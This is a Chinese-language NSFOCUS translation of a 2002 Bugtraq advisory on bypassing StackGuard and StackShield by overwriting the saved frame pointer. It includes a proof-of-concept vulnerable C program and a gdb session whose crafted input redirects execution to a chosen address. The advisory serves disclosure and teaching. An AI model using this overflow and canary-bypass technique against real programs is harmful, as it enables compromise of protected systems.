首页 -> 安全研究

安全研究

安全漏洞
多种堆栈保护方案已保存基指针覆盖漏洞

发布日期:2002-04-24
更新日期:2002-04-29

受影响系统:

StackGuard StackGuard 2.0.1
StackShield StackShield 0.7-beta
不受影响系统:

StackGuard StackGuard 1.2.1
StackGuard StackGuard 1.2
描述:

BUGTRAQ  ID: 4589

目前存在多种堆栈保护方案如:StackShield、StackGuard、Microsoft Visual C++ .NET /GS等。

由StackGuard和StackShield编译保护的程序由于对保存的基指针缺少保护,攻击者可绕过其保护机制而继续执行堆栈缓冲溢出攻击。

当调用函数引用它的本地变量和参数时,会依据基指针进行操作,根据执行的操作不同,可以允许攻击者写任意数据到内存任意位置。

StackGuard 2.0.1使用固定值的canary方法进行堆栈缓冲溢出保护,攻击者覆盖固定canary值以上的数据并不修改canary值而绕过保护。

如果攻击者可以正确的嵌入固定canary值和返回地址,并使用canary/返回地址相关的偏移地址值来代替保存的基指针,StackGuard就会认为数据正确而允许返回到shellcode中。

<*来源:Iván Arce (core.lists.bugtraq@core-sdi.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-04/0333.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Iván Arce (core.lists.bugtraq@core-sdi.com)提供了如下测试方法:

返回到更改过的帧指针地址:

gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_
/* sg2.c *
* specially crafted to feed your brain by gera@corest.com */


void func(char *msg) {
    char buf[80];
    strcpy(buf,msg);
}


int main(int argv, char** argc) {
    func(argc[1]);
}
_EOF_


gera@vaiolent:~src/sg/tests$ make sg2
cc sg2.c -o sg2
gera@vaiolent:~src/sg/tests$ gdb sg2
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
it's ok"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa`echo -e '1111\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault.
0x80486b1 in main ()
(gdb) x/i $pc
0x80486b1 <main+25>: leave
(gdb) p/x $ebp
$2 = 0x31313131
(gdb) x/20x $sp
...
...
0xbffffc5c: 0x42424242 0x000aff0d ...
(gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to
'BBBB')
(gdb) p "Now run it again changin '1111' for the address you just found"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa`echo -e '\x5c\xfc\xff\xbf\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p "As you can see, we hooked the execution flow"



建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时没有合适的临时解决方法。

厂商补丁:

StackGuard
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.immunix.org/

StackShield
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.angelfire.com/sk/stackshield/



浏览次数:3867
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障